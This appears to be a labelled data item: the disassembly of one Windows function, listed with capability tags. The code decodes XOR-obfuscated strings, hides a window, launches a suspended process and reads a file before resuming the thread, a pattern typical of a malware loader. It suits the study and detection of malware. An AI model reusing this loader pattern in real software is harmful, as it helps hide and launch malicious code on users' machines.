Function at 0x436e00
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Encode data using xor
Get file attributes
Hide graphical window
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47c703
mov eax, dword fs:[0]
push eax
sub esp, 0x17c
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov cl, 0x60
mov dword [ebp - 0x170], 0x2f3c4e60
mov dword [ebp - 0x16c], 0xf091410
xor eax, eax
mov dword [ebp - 0x168], 0xe094e0e
mov word [ebp - 0x164], 9
nop dword [eax]
xor byte [ebp + eax - 0x16f], cl
inc eax
cmp eax, 0xc
jae 0x436e75
mov cl, byte [ebp - 0x170]
jmp 0x436e60
mov cl, 4
mov byte [ebp - 0x15a], 0
mov dh, 0xf
mov byte [ebp - 0x15c], cl
mov al, 0x34
mov byte [ebp - 0x188], dh
xor al, cl
mov byte [ebp - 0x181], 0
mov byte [ebp - 0x15b], al
mov ah, 0x7f
xor ah, dh
mov byte [ebp - 0x179], 0
mov byte [ebp - 0x183], ah
mov al, 0x4b
xor al, dh
mov byte [ebp - 0x163], 0
mov byte [ebp - 0x187], al
mov cl, 0x57
xor cl, dh
mov byte [ebp - 0x15a], 0
mov dl, 0x5b
mov byte [ebp - 0x186], cl
xor dl, dh
mov byte [ebp - 0x181], 0
mov ch, 0x6a
mov byte [ebp - 0x185], dl
xor ch, dh
mov byte [ebp - 0x179], 0
mov bl, 0x76
mov byte [ebp - 0x182], ch
xor bl, dh
mov al, 5
mov dh, 0x41
mov byte [ebp - 0x184], bl
xor al, dh
mov byte [ebp - 0x180], dh
mov ah, 0x31
mov byte [ebp - 0x17f], al
xor ah, dh
mov cl, 0x19
mov byte [ebp - 0x17b], ah
mov dl, 0x15
lea eax, [ebp - 0x16f]
mov ch, 0x24
push eax
lea eax, [ebp - 0x15b]
mov bl, 0x38
push eax
lea eax, [ebp - 0x187]
xor cl, dh
push eax
lea eax, [ebp - 0x17f]
mov byte [ebp - 0x17e], cl
xor dl, dh
xor bl, dh
xor ch, dh
mov byte [ebp - 0x17d], dl
push eax
mov byte [ebp - 0x17c], bl
mov byte [ebp - 0x17a], ch
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push 0
push dword [0x4a574c]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x4a574c]
call dword [sym.imp.USER32.dll_UpdateWindow]
mov byte [0x4a57ad], 1
call fcn.00435ef0
mov dword [ebp - 0x15c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movaps xmm0, xmmword [0x491b60]
xor ecx, ecx
push eax
movups xmmword [ebp - 0x174], xmm0
mov dword [ebp - 0x164], 0x59181d58
mov byte [ebp - 0x160], 0
nop word [eax + eax]
mov al, byte [ebp - 0x174]
xor byte [ebp + ecx - 0x173], al
inc ecx
cmp ecx, 0x13
jb 0x436fc0
sub esp, 0x18
mov byte [ebp - 0x160], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
cmp dword [edx + 0x14], 0x10
jb 0x436ff7
mov eax, dword [edx]
jmp 0x436ff9
mov eax, edx
mov byte [eax], 0
cmp byte [ebp - 0x173], 0
jne 0x437009
xor ecx, ecx
jmp 0x43701b
lea ecx, [ebp - 0x173]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x437012
sub ecx, esi
push ecx
lea eax, [ebp - 0x173]
mov ecx, edx
push eax
call fcn.004049f0
lea eax, [ebp - 0x30]
push eax
call fcn.00430960
push 0x40
lea eax, [ebp - 0x8c]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.00443790
add esp, 0x2c
mov dword [ebp - 0x90], 0x44
cmp dword [ebp - 0x1c], 0x10
lea ecx, [ebp - 0xa0]
lea eax, [ebp - 0x30]
xorps xmm0, xmm0
cmovae eax, dword [ebp - 0x30]
push ecx
lea ecx, [ebp - 0x90]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push eax
push 0
movups xmmword [ebp - 0xa0], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x4370af
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10
jb 0x4370a8
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.00405110
mov al, 0xf1
jmp 0x4374d6
cmp dword [ebp - 0x98], 0
jne 0x4370d4
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10
jb 0x4370cd
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.00405110
or al, 0xff
jmp 0x4374d6
mov esi, dword [ebp - 0xa0]
test esi, esi
jne 0x4370fa
mov eax, dword [ebp - 0x1c]
cmp eax, 0x10
jb 0x4370f3
inc eax
lea ecx, [ebp - 0x30]
push eax
push dword [ebp - 0x30]
call fcn.00405110
mov al, 0xfe
jmp 0x4374d6
mov edi, dword [sym.imp.KERNEL32.dll_IsWow64Process]
lea eax, [ebp - 0x18]
push eax
push esi
mov dword [ebp - 0x18], 0
call edi
test eax, eax
je 0x4374c5
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x14]
sete al
test al, al
je 0x4374c5
cmp dword [0x4a9648], 0x10
mov edi, 0x4a9634
mov eax, edi
cmovae eax, dword [0x4a9634]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x437172
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x30]
call fcn.004044a0
mov al, 0xfc
jmp 0x4374d6
push 0xb8
lea eax, [ebp - 0x158]
push 0
push eax
call fcn.00443790
cmp dword [0x4a9648], 0x10
lea ecx, [ebp - 0x158]
cmovae edi, dword [0x4a9634]
add esp, 4
push 0x24
push edi
call fcn.00439fb0
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x158]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x14c], 6
je 0x437256
cmp dword [ebp - 0xfc], 0
lea edi, [ebp - 0x148]
jne 0x4371d2
xor edi, edi
jmp 0x4371f9
lea ecx, [ebp - 0x148]
call fcn.0043cbc0
push dword [ebp - 0xfc]
xor ecx, ecx
test al, al
cmove edi, ecx
call fcn.00449b46
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
push 2
push 0
lea ecx, [ebp - 0x148]
call fcn.0043cd10
test edi, edi
jne 0x437235
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push edi
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], edi
cmovne eax, edx
push eax
call fcn.004350d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x158]
call fcn.00435780
lea ecx, [ebp - 0x30]
call fcn.004044a0
mov al, 0xfb
jmp 0x4374d6
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x158]
call fcn.0043b220
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x44]
adc ecx, dword [ebp - 0x3c]
test ecx, ecx
jg 0x43731d
jl 0x437286
cmp eax, 0x1000
jae 0x43731d
cmp dword [ebp - 0xfc], 0
lea edi, [ebp - 0x148]
jne 0x437299
xor edi, edi
jmp 0x4372c0
lea ecx, [ebp - 0x148]
call fcn.0043cbc0
push dword [ebp - 0xfc]
xor ecx, ecx
test al, al
cmove edi, ecx
call fcn.00449b46
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
push 2
push 0
lea ecx, [ebp - 0x148]
call fcn.0043cd10
test edi, edi
jne 0x4372fc
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push edi
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], edi
cmovne eax, edx
push eax
call fcn.004350d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x158]
call fcn.00435780
lea ecx, [ebp - 0x30]
call fcn.004044a0
mov al, 0xfa
jmp 0x4374d6
push eax
call fcn.0043f015
mov ebx, eax
add esp, 4
test ebx, ebx
jne 0x4373c6
lea edi, [ebp - 0x148]
cmp dword [ebp - 0xfc], eax
jne 0x437342
xor edi, edi
jmp 0x437369
lea ecx, [ebp - 0x148]
call fcn.0043cbc0
push dword [ebp - 0xfc]
xor ecx, ecx
test al, al
cmove edi, ecx
call fcn.00449b46
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
push 2
push 0
lea ecx, [ebp - 0x148]
call fcn.0043cd10
test edi, edi
jne 0x4373a5
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push edi
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], edi
cmovne eax, edx
push eax
call fcn.004350d0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x158]
call fcn.00435780
lea ecx, [ebp - 0x30]
call fcn.004044a0
mov al, 0xf9
jmp 0x4374d6
sub esp, 0xc
lea ecx, [ebp - 0x158]
call fcn.0043b300
mov ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
adc eax, dword [ebp - 0x3c]
push eax
push ecx
push ebx
lea ecx, [ebp - 0x158]
call fcn.0043b410
cmp dword [ebp - 0xfc], 0
lea edi, [ebp - 0x148]
jne 0x437401
xor edi, edi
jmp 0x437428
lea ecx, [ebp - 0x148]
call fcn.0043cbc0
push dword [ebp - 0xfc]
xor ecx, ecx
test al, al
cmove edi, ecx
call fcn.00449b46
xor ecx, ecx
add esp, 4
test eax, eax
cmovne edi, ecx
push 2
push 0
lea ecx, [ebp - 0x148]
call fcn.0043cd10
test edi, edi
jne 0x437464
mov eax, dword [ebp - 0x158]
lea ecx, [ebp - 0x158]
push edi
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], edi
cmovne eax, edx
push eax
call fcn.004350d0
sub esp, 0x1c
mov edx, ebx
mov ecx, esi
call fcn.00433e90
add esp, 0x1c
push ebx
test al, al
jne 0x43748e
call fcn.0043ed62
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call fcn.0044f8b5
call fcn.0043ed62
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x15c]
mov esi, dword [sym.imp.KERNEL32.dll_ResumeThread]
call esi
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x9c]
call esi
push 0
call fcn.0044f8b5
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x30]
call fcn.004044a0
mov al, 0xfd
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043ed51
mov esp, ebp
pop ebp
ret